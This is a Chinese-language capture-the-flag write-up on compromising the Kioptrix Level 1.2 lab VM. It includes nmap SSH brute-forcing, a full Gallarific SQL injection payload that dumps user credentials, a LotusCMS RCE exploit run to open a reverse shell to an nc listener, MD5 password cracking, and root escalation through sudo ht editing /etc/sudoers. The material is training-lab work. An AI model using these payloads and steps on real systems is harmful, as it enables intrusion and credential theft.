Kioptrix: Level 1.2 (#3) Write-up

靶機：Kioptrix: Level 1.2 (#3)

0x00 前置作業
首先根據說明頁面，得知須先調整hosts。

將/etc/hosts新增一行：
<ip> kioptrix3.com

再ifconfig eth0 down後ifconfig eth0 up

0x01 取得靶機IP

netdiscover -r x.x.x.0/24



0x02 服務探勘

nmap -sS -A -sV --version-intensity 5 -Pn -T4 -p- <ip>



0x03 ssh爆破

nmap <ip> -p 22 --script ssh-brute --script-args userdb=users.lst,passdb=pass.lst --script-args ssh-brute.timeout=4s




0x04 web掃描

nikto -h <ip>


dirbuster






phpmyadmin，嘗試root:null、root:password、root:mysql等常見預設帳密都報錯


0x05 Gallarific SQLi

依據dirbuster結果，找到gallery/index.php路徑，看版面推測使用Gallarific，看一下source code確認無誤


搜尋exploit-db後發現Gallarific存在SQLi漏洞，到存在漏洞的頁面gallery/gallery.php?id=null

先撇一下確認有報錯


poc直接貼上會發現column數有問題


先透過order by方式踹一下欄位數有多少


最後發現欄位數為6


由於poc的頁面column數是8，在這裡需要修改成6：gallery/gallery.php?id=null+and+1=2+union+select+1,group_concat(userid,0x3a,username,0x3a,password),3,4,5,6+from+gallarific_users--


取得帳密為admin:n0t7t1k4，將帳密登入於poc提示的gadmin/index.php





0x06 LotusCMS RCE

Login頁面看source code


往上翻style/eomps/admin發現有directory listing漏洞，再到install.html看一下


從title得知LotusCMS版本為3.0



找對應的poc，這邊我用的是lucky_lotus

先在本機nc開port：nc -nlp <lport>

執行poc：python lucky_lotus.py <rhost> back_python.php <lhost> <lport>


切回nc，確認reverse shell成功



0x07 提權

用grep -rl "pass" *來搜尋些有趣的資訊。以找到的gallery/gconfig.php來說，資訊如下：


mysql -u<usr> -p<pwd>


先看dev_accounts內容



把密碼丟到線上md5 decrypt網站，如md5decrypt.net，可得知dreg:Mast3r；loneferret:starwars




把帳密登入網頁發現顯示帳密錯誤

拿剛剛的dreg:Mast3r來ssh目標主機


ls -all沒什麼可利用的文件，bash_history沒資訊，uname -a看os版本也沒有exploit可利用

sudo -l發現目前使用者沒有sudo後可用的指令

接著透過su <acc> 切換帳號，ls -all後，看bash_history沒資訊


sudo -l


發現ht可透過root權限執行，且再看CompanyPolicy內容，提示透過sudo ht可修改檔案


但執行sudo ht後會顯示「Error opening terminal: xterm-256color」，執行export TERM=xterm後即可

再藉由sudo ht以F3方式開啟/etc/sudoers，將目前帳號加入/bin/bash以藉由root執行bash




取得root權限